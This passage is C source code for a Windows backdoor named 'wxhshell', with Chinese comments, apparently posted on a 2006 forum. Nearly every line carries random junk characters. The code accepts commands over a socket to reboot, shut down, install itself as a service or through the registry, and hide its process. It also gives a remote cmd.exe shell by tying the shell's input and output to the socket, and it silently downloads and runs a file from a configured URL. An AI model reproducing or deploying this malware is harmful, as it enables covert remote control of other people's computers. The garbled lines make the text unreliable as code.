  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 5lg&oO  
  } G#V22Wca8  
  else { s7e'9Bx  
Dk-L4FS  
    switch(cmd[0]) { {2x5 V#6  
  EyeLC6u  
  // 帮助 UE4#j \  
  case '?': { zaZ}:N/w(z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ts]7 + 6V  
    break; GN<I|mGLJK  
  } MH?B .2  
  // 安装 ]| y H8m  
  case 'i': { 7q2YsI  
    if(Install()) H1[aNwLr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =/;_7|ssd  
    else K9q~Vf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ie!4z34  
    break; 9zyN8v2  
    } #+;=ijyF  
  // 卸载 07|NPS  
  case 'r': { O5Lv :qAa  
    if(Uninstall()) WFd2_oAT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$QJnQ"R  
    else )rj mJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mTfMuPPs[  
    break; qM0MSwvC=  
    } VO Qt{v{1|  
  // 显示 wxhshell 所在路径 !iVFzG @m  
  case 'p': { 1,T9HpM  
    char svExeFile[MAX_PATH]; 7gwZ9Fob  
    strcpy(svExeFile,"\n\r"); Yg[IEy  
      strcat(svExeFile,ExeFile); {nefS\#{  
        send(wsh,svExeFile,strlen(svExeFile),0); ~@D%qbN  
    break; lt4jnV2"a  
    } |S{P`)z%f  
  // 重启 *u/|NU&X  
  case 'b': { }|Tg_+   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7]%il[  
    if(Boot(REBOOT)) yU"G|Ex  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <6C9R>  
    else { dSVu_*y  
    closesocket(wsh); :dN35Y]a  
    ExitThread(0); LG#w/).^  
    } U.U.\   
    break; 1H =wl =K  
    } b@/ON}gX  
  // 关机 C..2y4bA}  
  case 'd': { >iH).:j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cWO )QIE  
    if(Boot(SHUTDOWN)) vvAk<[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i*R:WTw#  
    else { _c8.muQ<  
    closesocket(wsh); 9+I/y,aC  
    ExitThread(0); M/a/H=J  
    } Y@H,Lk  
    break; :{:?D\%6  
    } >J3ja>Gw/  
  // 获取shell +){a[@S@x  
  case 's': { |Xm4(FN\  
    CmdShell(wsh); `A'I/Hf5  
    closesocket(wsh); P}9Y8$Y>U  
    ExitThread(0); urXb!e{l  
    break; E#$_uZ4  
  } mK40 f  
  // 退出 >|/ ? Up  
  case 'x': { 90iW-"l+[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #)mkD4  
    CloseIt(wsh); 2${,%8"0s  
    break; l8xd73D)8  
    } s$>m0^  
  // 离开 8U<.16+5Q  
  case 'q': {  ,eeL5V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KPjqw{gR_R  
    closesocket(wsh); EB2^]?  
    WSACleanup(); qa$[L@h>  
    exit(1); 7 Mki?EG  
    break; B#GZmv1  
        }  TXD^Do5^  
  } 0|s$vqc  
  } |t65# 1  
DAMpR3  
  // 提示信息 W|H4i;u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =!S@tuY  
} [wy3Ld  
  } DtF![0w/  
D;^ZWz0  
  return; Eo { 1y  
} c(Uj'uLc  
BBU84s[  
// shell模块句柄 hDB`t $  
int CmdShell(SOCKET sock) n$hqNsM  
{ ilIV}8  
STARTUPINFO si; `FYtiv?G  
ZeroMemory(&si,sizeof(si)); 1FD7~S|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4lY&=_K[)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]O[+c*|w  
PROCESS_INFORMATION ProcessInfo; p9&gEW  
char cmdline[]="cmd"; KF:]4`$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dEQReD  
  return 0; "]SJbuzh  
} [al(>Wr9  
6z p@#vYI  
// 自身启动模式 yRq8;@YGY  
int StartFromService(void) s=q%:uCO  
{ *C3uMiz  
typedef struct h=v[i!U-eY  
{ A{i][1N  
  DWORD ExitStatus; Imh2~rw;  
  DWORD PebBaseAddress; 5S|}:~7T  
  DWORD AffinityMask; %)<oX9E  
  DWORD BasePriority;  \]f5  
  ULONG UniqueProcessId; )I Y 5Y  
  ULONG InheritedFromUniqueProcessId; -~( 0O  
}   PROCESS_BASIC_INFORMATION; %67G]?EXB  
e-%7F]e  
PROCNTQSIP NtQueryInformationProcess;  r21?c|IP  
6:|!1Pg5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B c,"12  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uGuc._}=  
#|{BGVp  
  HANDLE             hProcess; `eMrP`  
  PROCESS_BASIC_INFORMATION pbi; (1kn):  
~!3t8Hx6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AQnJxIL:  
  if(NULL == hInst ) return 0; @b ::6n/u  
a2c x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fB;&n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O:`GL1{ve?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 36kc4=  
";-{ ~  
  if (!NtQueryInformationProcess) return 0; xE G+%Uk{  
g( ]b\rj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nR,Qm=;  
  if(!hProcess) return 0; m6bWmGn GC  
M&|sR+$^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x"(7t3xK  
D_l/Gxdpr  
  CloseHandle(hProcess); S F&M (=w<  
/32Ta  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kf:2%_DB  
if(hProcess==NULL) return 0; ILkjz^  
[<en1  
HMODULE hMod; ALE808;|  
char procName[255]; 6T^N!3p_  
unsigned long cbNeeded; -vv   
.;<7424(%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T!m42EvIvE  
92P ,:2`a  
  CloseHandle(hProcess); >%iu!H"  
cOzg/~\1  
if(strstr(procName,"services")) return 1; // 以服务启动 +l2e[P+qA  
x><zGXvvp|  
  return 0; // 注册表启动  4 "pS  
} Bl kSWW/  
#t"9TP  
// 主模块 lSZ"y Q+  
int StartWxhshell(LPSTR lpCmdLine) $x;tSJ)m~  
{ t!6\7Vm/  
  SOCKET wsl; ,3wI~ j=  
BOOL val=TRUE; q1N4X7<_  
  int port=0; Nb gp_:{  
  struct sockaddr_in door; Q9` s_4  
xT{TVHdU  
  if(wscfg.ws_autoins) Install(); X?KGb{  
#Y;.>mF  
port=atoi(lpCmdLine); `y1BTe&  
1zdYBb6;j  
if(port<=0) port=wscfg.ws_port; pWMiCXnW  
f2uZK!:m  
  WSADATA data; -6u H.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PLO\L W  
! a86iHU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ua9thOG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wl,%&H2S<  
  door.sin_family = AF_INET; cNdu.c[@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +ckMT3  
  door.sin_port = htons(port); {&u Rd?(  
?2H{^\<(e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $`^H:Djr  
closesocket(wsl); ^it4z gx@  
return 1; b OW}"  
} S{o@QVbl  
ri_P;#lz  
  if(listen(wsl,2) == INVALID_SOCKET) { 8r5xs-  
closesocket(wsl); G=vN;e_$_b  
return 1; RI?NB6U  
} w(aUEWYL  
  Wxhshell(wsl); 4DvdE t  
  WSACleanup(); 0 9tikj1  
0rV/qMo;K  
return 0; ,xYg  
,Yo: &>As  
} bSQ_"  
IoQr+:_R  
// 以NT服务方式启动 3 Q@9S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O2C6V>Q;  
{ H1Q''$}Z.  
DWORD   status = 0; 6KVV z/  
  DWORD   specificError = 0xfffffff; QDP-E[  
#U\$@4D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : g&>D#{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6s'[{Ov  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SF0Jb"kS  
  serviceStatus.dwWin32ExitCode     = 0; %j%%Rn  
  serviceStatus.dwServiceSpecificExitCode = 0; A5+q^t}  
  serviceStatus.dwCheckPoint       = 0; #sL/y  
  serviceStatus.dwWaitHint       = 0; ? %93b ,7  
II&<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  X@cSP7b  
  if (hServiceStatusHandle==0) return; anLbl#UV  
 2mQOj$Lv  
status = GetLastError(); vnDmFqelz  
  if (status!=NO_ERROR) *jGPGnSo  
{ r;9z 5'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4AJ9`1d4  
    serviceStatus.dwCheckPoint       = 0; av)?>J~;  
    serviceStatus.dwWaitHint       = 0; ^mAJ[^%  
    serviceStatus.dwWin32ExitCode     = status; $khrWiX  
    serviceStatus.dwServiceSpecificExitCode = specificError;  70{RDj6{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ac J>$L)  
    return; UB a-  
  } R \ia6  
6I"C~&dt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *g*VCO  
  serviceStatus.dwCheckPoint       = 0; - gB{:UYi3  
  serviceStatus.dwWaitHint       = 0; nYhp`!W4;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lelMt=  
} f7ZA837Un  
;e2Ij  
// 处理NT服务事件,比如:启动、停止 Y4`QK+~fH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'g2vX&=$A  
{ `6UtxJSx  
switch(fdwControl) FQ1arUOFW,  
{ +eC3?B8rN  
case SERVICE_CONTROL_STOP: 0Lx3]"v  
  serviceStatus.dwWin32ExitCode = 0; 8+&gp$a$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nvhy3  
  serviceStatus.dwCheckPoint   = 0; pG~'shD~Dn  
  serviceStatus.dwWaitHint     = 0; %iX/y  
  { $Vsy%gA<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n?}5!  
  } 4aA9\\hfGY  
  return; 3hLqAj  
case SERVICE_CONTROL_PAUSE: v:?o3 S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tR5tPPw  
  break; dt<~sOT3s  
case SERVICE_CONTROL_CONTINUE: G8noQ_-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VJ*\pM@no  
  break; =D}4X1l  
case SERVICE_CONTROL_INTERROGATE: Tn /Ut}]O  
  break; g9`[Y~  
}; 'd+:D'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O <>#>[  
} V'C-'Ythwf  
CB6o$U  
// 标准应用程序主函数 <$Ztik1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qv$!\T  
{ VcrVaBw  
r,Ds[s)B  
// 获取操作系统版本 lJUy;yp_+  
OsIsNt=GetOsVer(); D,E$_0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BW>5?0E[4(  
l^ Rm0t_  
  // 从命令行安装 "Tv:*L5  
  if(strpbrk(lpCmdLine,"iI")) Install(); KXq_K:r?  
P2t_T'R}  
  // 下载执行文件 +v!v[qn  
if(wscfg.ws_downexe) { zA,/@/'(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w2C&%Xk  
  WinExec(wscfg.ws_filenam,SW_HIDE); McP~}"!^  
} bQ"N ;d)e  
 cLAe sj  
if(!OsIsNt) { 4~Dax)  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]x@~-I )  
HideProc(); nc&Jmo7  
StartWxhshell(lpCmdLine); hF.6}28U1  
} S+iP^*L,c  
else guE2THnz3D  
  if(StartFromService()) rd">JEK;;  
  // 以服务方式启动 Mc:b U  
  StartServiceCtrlDispatcher(DispatchTable); xHe^"LL  
else nEyI t&> 9  
  // 普通方式启动 `R0Y+#$8h  
  StartWxhshell(lpCmdLine); ik IzhUWE  
Z(`r-}f I  
return 0; C.( yd$,  
}
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只看该作者 1 发表于: 2006-10-10
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